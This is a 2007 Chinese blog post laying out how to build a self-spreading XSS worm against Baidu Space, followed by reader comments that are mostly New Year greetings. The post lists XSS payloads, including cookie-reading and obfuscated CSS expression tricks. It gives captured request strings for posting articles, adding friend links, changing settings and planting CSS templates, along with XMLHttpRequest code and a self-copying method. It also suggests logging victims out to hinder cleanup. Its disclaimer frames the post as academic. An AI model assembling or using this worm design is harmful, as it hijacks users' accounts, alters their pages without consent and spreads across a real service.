百度空间 | 百度首页 
 
查看文章
 
Baidu Space XSS Worm 思路
2007-02-16 13:39

前言:

首先问大家一句:手枪是干什么的?

当然你可以用许多富丽堂皇的词语去形容它:自卫、防身、追强盗......

但是不管你怎么说,你不敢否认的是,其实手枪就是用来杀人的。

你没有用它来上山打野猪吧?没有用它来强身健体吧?没有用它到地里挖萝卜白菜什么的吧?

即使是三岁小孩手里拿把真枪对着你,其实他就是想跟你玩而已,但是你不害怕么?

你害怕什么?无非是怕枪走火了,被其打死!

美国政府是允许公民用枪的,难道他们在倡导杀人么?

显然不是!对吧!

如果上面的你能理解,那么希望下面的你也能理解。

Baidu Space XSS Worm是干什么的?无非是对用户进行攻击的。

我想解释,但是确实没有什么好解释的。

但我公布出来的目的应该是跟美国政府的目的一样的:

明知道这个东西是不能挖萝卜,就是来杀人的,但是为了平等就必须公布出来。

难道小偷就没有人权了么?那么,黑客呢?

别忘了,你们现在在用的盗版的xp操作系统就是黑客破解的,包括office,vs.net等等一切你们本应该花钱但现在免费得到的东西。

你不知道的是——你们使用的网络,最初是由美国的几名军事黑客创造出来的。

那么如果没有黑客就根本不会有整个网络的存在,你们在人家创造的网络里,又有什么权利去骂别人呢?

某个人给了你一只气球,你很高兴;但当气球破裂时,你却很伤心,你是否应该骂这个给你气球的人呢?

有几千人在用我提供的方法插入视频,增加版块等等。我敢肯定他们在高兴,但是其实这些方法就是黑客技术的一部分;但是如果百度做点小改动,让所有插入代码的人死机或怎么样,他们恐怕就会来骂我了。这个就是事实

所以我希望对于本篇文章你们会以同样的角度来看待,其实我在做的只是如何打破权限和超越权限,如果没有这些,也不会有你们的插视频,增加版块了。这是一条必经之路。

所以,最后声明一点就是:本文章只做学术探讨,如果有人用在其他地方,Monyer对此概不负责。这只是一把枪,但我可没有叫你们去杀人——虽然它就是用来杀人的。

同时本文有版权,所以请您尊重别人,这样别人才会尊重你,才不会认为你作为人的品质有问题。本文和Monyer其他的文章一样,欢迎随意转载。但务必请保留作者的相关信息以及文章或博客的链接。

谢谢诸位的理解!

一、XSS的插入点

这个不用多说了,即使我最近公布的百度跨站漏洞也不下10个,而且差不多都没有字数限制。你可以到http://hi.baidu.com/monyer/blog/item/46630afa9f12a39759ee90a4.html 自行寻找测试,部分利用如下(不保证其有效性):

文章发表:

<table><tr><td background="javascript:alert(/xss/)"></tr></table>

<img src="vbscript:msgbox(document.cookie)" />

<img STYLE="xss:expr/*XSS*/ession(alert(&quot;XSS&quot;))">

CSS:

body{ xss:\0065xpression( alert('xss') ) }

body{background-image:\0075\0072\006c\......}

@\0im\port'\0ja\vasc\ript:alert("XSS")';

@\i\0m\00p\000o\0000\00000r\000000t"url";

二、Worm的实现流程

1)Worm要做什么

Web Worm要做什么,其实不是取决于代码的强度,而是取决于服务商给了你多少功能——并且这些功能具有通用性。那我们来看看百度吧!

1、发表文章。百度空间对于文章发表这方面的限制是很松的,而且具有极强的通用性。

2、加为好友。可以作为攻击功能

3、友情链接。可以作为攻击功能

4、加入圈子。可以作为攻击功能

5、发短信息。这个如果采用不定向发送就是广告,定向发送就是信息垃圾了

6、留言板。可以作为攻击功能

7、个人档案。可以作为攻击功能

8、基本设置。如果进行文章的XSS的话,可能需要用到它

9、模版设置。作为代码传播方式之一

10、高级设置。用处不是很大

当然这里仅对百度的空间服务而言。

下面我们仅讨论一下,如果要做一个自动加友情链接并传播的Worm的实施思路。

2)关于Web Worm的加友情链接

这个比较简单,通过简单抓包你可以获得如下信息:

/monyer/commit?ct=6&cm=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fbuddylink%2F0&spBuddyName=12345&spBuddyURL=67890&spBuddyIntro=13579&spBuddySign=

但这里的一个难点是:怎么获得当前登录用户的空间名?其实百度早已经帮我们想到了,你查看任意页面的源代码都可以找到这么一句:

<script>var spaceurl="/monyer";if(spaceurl!="\/index.html"){document.write("| <a href='"+spaceurl+"' target='_blank'>我的空间</a>")}</script>

如果你想去掉spaceurl中的“/”,就可以用spaceurl.substr(2,spaceurl.length)或者spaceurl.replace('/','')

其中spBuddyName 为友情链接的名称,spBuddyURL 为友情链接的URL,spBuddyIntro 为友情链接的简介。所以如果做成SAMY那样就分别是Monyer、http://hi.baidu.com/monyer、Monyer is My Hero

3)关于XSS Worm的传播方式

百度空间允许代码执行的地方只有两个:文章发表和CSS。所以如果我们需要让代码传播——复制本身到对方空间,就只能从这两方面下手。

但他们各有利弊:

通过XSS方式发表文章其实很简单的,也没有验证码什么的——这表明你可以刷文章。

同样抓包你可以得到:

/monyer/commit?ct=1&cm=1&spBlogTitle=1234567890&spBlogText=888888888888888888&spBlogCatName=%C4%AC%C8%CF%B7%D6%C0%E0&spIsCmtAllow=1&spBlogPower=0&tj=+%B7%A2%B1%ED%CE%C4%D5%C2+

其中spBlogTitle 为文章标题,spBlogText 为文章内容。

所以无论我们发什么都可以轻松得到。但是,它的弊端有两个:一是很容易被发现,二是很容易被删除,三是不一定在首页触发。你在别人那里多发了一篇文章,他是不会发现不到的,所以这个弊端无法逃避;但对于反删除,最好的办法莫过于在代码刚刚执行完就立即退出帐户或者跳转空间

http://passport.baidu.com/?logout

window.location.href

即可(方法可能有点缺德),由于百度空间是最快的博客空间了,所以那个延时之内你根本做不了什么(对新手来讲);对于内容不是在首页全文显示的,这时就有必要到基本设置里更改一下了

同样抓包一下:

POST /monyer/commit?ct=5&cm=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fspbasic%2F0&spSpaceName=%C3%CE%D6%AE%B9%E2%C3%A2&spSpaceDescri=%D1%A4%B5%C4%C3%CE%D3%C0%CE%DE%D6%B9%BE%B3%2C%BB%DB%B5%C4%CA%D6%D0%E5%B3%F6%B9%E2%C3%A2%21%A1%AA%A1%AA%D6%D0%B9%FA%BA%DA%BF%CD-Monyer.cn&spConfigDispNum=0&spConfigDispMod=1&spDateMod=0&spTimeMod=0&submit=%B1%A3%B4%E6%D1%A1%CF%EE

不过这一改动不要紧,连空间名也变成“梦之光芒”了,呵呵。

所以利用文章发表进行XSS的最大弊端就是暴露了自己,我们下面来看看CSS XSS的利用

CSS由于是采取后台操作的,所以进行传播我们当然察觉不到。

由于有些人有自己的CSS,有些人用的是别人共享的CSS,所以分歧产生。我们不可能为每一种情况做一种代码,因此折中的方案就是创建新模版。用过豆虾格子 的朋友应该知道建立新模版的一个隐藏链接为http://hi.baidu.com/monyer/modify/spcss/ ,之所以提到它是因为对于CSS的建立或者修改,其中的一段代码有着“验证码”般的作用:

<input type="hidden" id="spCSSID" name="spCSSID" value="b4e9d2160924ab18972b43eb" />

这行代码起到给CSS文件起名字的作用,所以我们要做的就是把这个value获取出来,你需要用到的函数可能有substr和indexOf,这里不多解释。CSS创建的抓包如下:

POST /monyer/commit?spCssName=999999999999&ct=5&spCssUse=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fspcss%2F&cm=6&spCSSID=b4e9d2160924ab18972b43eb&spCssText=8888888888888

其中spCssName 为CSS名称,spCssText 为CSS内容。

但是这里又一个问题产生了,原来的CSS怎么办?要不岂不是又露馅了!所以我们还需要获取原来的CSS

<link rel="stylesheet" type="text/css" href="/monyer/css/item/2f6517ce6fb5f739b600c892.css">

譬如存入变量var CSS然后再做CSS+=XSS并赋值给spCssText 即可。

到此整个传播流程完毕

三、Ajax Hacking方法

在上面的分析中,你们会发现有一处还没有提到,就是httprequest的功能实现。

httprequest对整个XSS Worm制作成功与否起到决定性作用,这也是为什么这种攻击叫做Ajax Hacking 的原因。

这里由于不是讲javascript,对它们的具体意思我就不多说了,关于声明httprequest的方法如下:

//判断是否IE
     if (window.XMLHttpRequest) {
       XmlHttp = new XMLHttpRequest();
     } else if (window.ActiveXObject) {
       XmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}

//参数传递
XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);

其中URL需要填入的就是上面抓包的内容

对于并非提交表单,仅仅是获取html的方法如下:

XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
     if (XmlHttp.readystate==4 || XmlHttp.readystate=='complete')
      alert(XmlHttp.responsetext);
}

四、确定Worm本身

既然是要把本身进行代码复制,当然要确定一下哪部分代码才是自己。对于文章的发表,确定起来很简单。我们可以在代码外部用<address>或者是<tbody>之类标签进行封装,然后用

document.getElementsByTagName('tbody')[0].outerHTML

进行获取.

对于CSS,我们可以用indexOf确定自己的位置,然后用substr选定自己即可。

五、总结

好了,文章到此结束。Monyer并没有给你一个完整的可利用的Worm代码,其原因有三点:一是兔子不吃窝边草,二是我不想“因此”出名,三是我不想伤害别人。

但是如果你懂一点点的js,你就会知道其实这个Worm已经成形了,剩下的只是组装的问题了。

我告诉了你们E=MC2 ,但是我可没有让你们去制造原子弹哦!

关于编码转码请参考JS加解密脚本

有任何问题或建立可以留言给我,转载请注明版权!


类别:模式分析 | 添加到搜藏 | 分享到i贴吧 | 浏览() | 评论 (49)
 
最近读者:
 
网友评论:
1
2007-02-16 13:50 | 回复
嘿嘿,能给人启发的文章啊 慢慢看^_^
 
2
2007-02-16 14:16 | 回复
板凳,研究研究,看看可以弄懂不?
 
3
2007-02-16 14:41 | 回复
很受启发,慢慢看
 
4
2007-02-16 15:00 | 回复
你每次写的东西我都能看懂80% 剩下的20%得分析..... 太深奥了........ 撤~ http://k088.cn
 
5
2007-02-16 16:46 | 回复
呵呵 细细看~
 
6
2007-02-16 17:45 | 回复
的确,中国人大部分都是这样,不计后果的索取和利用,被“警察”质问,将罪责推给“制造商”。。 不过这是最好的发泄和推卸责任的方法。。 原谅这些无知加无耻的人吧。。
 
7
2007-02-16 17:46 | 回复
写得通俗易懂~~ 顶~!~
 
8
2007-02-16 17:59 | 回复
研究了将近半个小时, 从进你空间到看完帖子回复!~
 
9
2007-02-16 18:20 | 回复
我空间发表文章时利用发贴助手发个模板给百度删除了,呵呵。
 
10
2007-02-16 18:57 | 回复
基本上是刘姥姥进大观园!
 
11
2007-02-16 18:58 | 回复
有一伙人在四处打听你,还说逮住你不会轻饶你,他们一个叫财神,一个叫顺利 ,领头的叫幸福!我问过烦恼了,它根本不爱你,还说永远不理你,让我转告你不要自做多情!还有健康让我带封情书给你;它暗恋你好久了并且一生不变! 提前祝你:春节快乐、要发给二十个人你这一年就会财源滚滚,如果删除不发,那你这一年就会破财。发吧!我也被逼的,谁叫你人缘好!! 雨醉 ~在这里也给你拜年了`
 
12
2007-02-16 21:05 | 回复
我只能看懂前面的,后面的一概不懂。但我觉得你还是挺辛苦的。快过年了,祝新年快乐。
 
13
2007-02-16 21:07 | 回复
顶~~~
 
14
2007-02-16 21:11 | 回复
百度空间干扰蠕虫?
 
15
2007-02-16 21:17 | 回复
看来又有研究的了。不知百度的网管看了作何感想。祝新年快乐了
 
16
2007-02-16 21:42 | 回复
终于知道你怎么留言的了,新年快乐!
 
17
2007-02-16 21:59 | 回复
新年快乐!!
 
18
2007-02-16 22:23 | 回复
不知道 baidu看后会不会做些修改 哈哈 高手
 
19
2007-02-16 23:22 | 回复
我只想问一下百度空间可不可以实现两个背景 就是两个“body{}”阿?而且也不会相互抵消???
 
20
2007-02-16 23:37 | 回复
懂得方法了,可惜我对JS不是很了解。 这个可以在主页菜单添加一个“加为友情链接”的选项吗?
 
21
2007-02-17 01:21 | 回复
高手~`我一直很想学一些黑客技术~` 不知道应该先从什么学起呢~
 
22
2007-02-17 06:06 | 回复
厉害~!!!
 
23
2007-02-17 11:33 | 回复
金猪送福送吉祥,奥运福娃来帮忙:贝贝送你谷满仓,晶晶送你亲满堂,欢欢送你事如意,迎迎送你身安康,妮妮送你福寿长。男儿当自强祝你新春快乐,好运无限!
 
24
2007-02-17 11:52 | 回复
Happy new year, my best friend. 祝我的挚友新年快乐。
 
25
2007-02-17 12:00 | 回复
人虽没到,心和祝福到:春节快乐,全家幸福,猪年大吉,财源广进.
 
26
2007-02-17 12:09 | 回复
我和12楼的话一样,哈哈. 今天是除夕了,提前给您拜个年,免得晚上人多您忙不过来.哈哈! 祝猪年大吉,新年财源滚滚来! ━┳━━┳━━┳━━┳━━┳━━┳━━┳━━┳━ ╭╧╮╭╧╮╭╧╮╭╧╮╭╧╮╭╧╮╭╧╮╭╧╮ ║无║║表║║人║║给║║您║║拜║║年║║啦║ ┗━┛┗━┛┗━┛┗━┛┗━┛┗━┛┗━┛┗━┛
 
27
2007-02-17 12:28 | 回复
祝你新年快乐!事业顺心顺意,工作顺顺利利,爱情甜甜蜜蜜!身体有用不完的力气,滚滚财源广进!事事开心,事事顺利!
 
28
2007-02-17 13:09 | 回复
呵呵~祝猪年快乐!身体健康!
 
29
2007-02-17 13:45 | 回复
想了又想,昨天拜年早了点,明天拜年挤了点,今天拜年是正点。拜年啦!拜年啦!祝您合家团圆!新春快乐!万事如意,猪年大吉,扎西德勒!
 
30
2007-02-17 13:50 | 回复
高手 过年好啊 !
 
31
2007-02-17 13:53 | 回复
刚来拜年了!送我的春联,给您的快乐~ 家进万金满房聚宝瑞狗辞旧岁西来和气一路高歌高唱和气小调鞭炮齐鸣响正月开头声送甘泉时雨杨柳绿色长青强祖国小康追玉兔 人途百顺生平辉煌祥猪迎新年东临幸福八喜胜况盛随幸福坦途锣鼓喧天震春岁启步音取热土流金招健纳康致富荣我家旭日迎朝辉
 
32
2007-02-17 14:44 | 回复
昨天拜年早了点,明天拜年挤了点,后天拜年晚了点,现在拜年是正点! 拜年啦!拜年啦!祝新春快乐万事如意, 猪年做一只快乐的猪猪~要乖哦~~∩_∩
 
33
2007-02-17 15:17 | 回复
今天是除夕,孙琳猪您新年快乐
 
34
2007-02-17 15:38 | 回复
新年快乐哈
 
35
2007-02-17 15:55 | 回复
这次终于有些能看明白了`~ 呵呵`~ 新年快乐`~ 万事如意!
 
36
2007-02-17 17:04 | 回复
拜年了 恭喜发财 别忘给红包
 
37
2007-02-17 17:58 | 回复
明天就是大年了 祝你全家快乐!
 
38
2007-02-17 18:54 | 回复
除夕夜快乐!!!
 
39
2007-02-17 18:55 | 回复
还在线啊!我喝得头晕晕的了!呵呵呵…… 辞旧迎新!新年快乐!
 
40
2007-02-17 19:56 | 回复
新年快乐! 文章很不错 只可惜我看的不是很懂 还有的字都不认得········ 可悲!
 
41
2007-02-18 13:35 | 回复
这篇不仅仅是技术文章,更多的是哲理美文~~ 顶三顶~~
 
42
2007-02-19 17:10 | 回复
ajax学的不错啊~
 
43
2007-02-22 14:39 | 回复
好人
 
44
2007-02-23 05:20 | 回复
后面的全看不懂,但前言内容很有道理,不错 支持
 
45
2007-02-26 13:01 | 回复
哈哈~!支持!~ 技术真强啊 ~!~! “你太有才了~!~!~!哈哈
 
46
2007-04-19 00:44 | 回复
哥们,太佩服你的文采了 经典 自愧不如
 
47
2007-05-12 18:33 | 回复
强 我要的就是这个。
 
48
2007-05-13 13:54 | 回复
 
49
2007-06-15 23:59 | 回复
打劫 收藏~!~
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu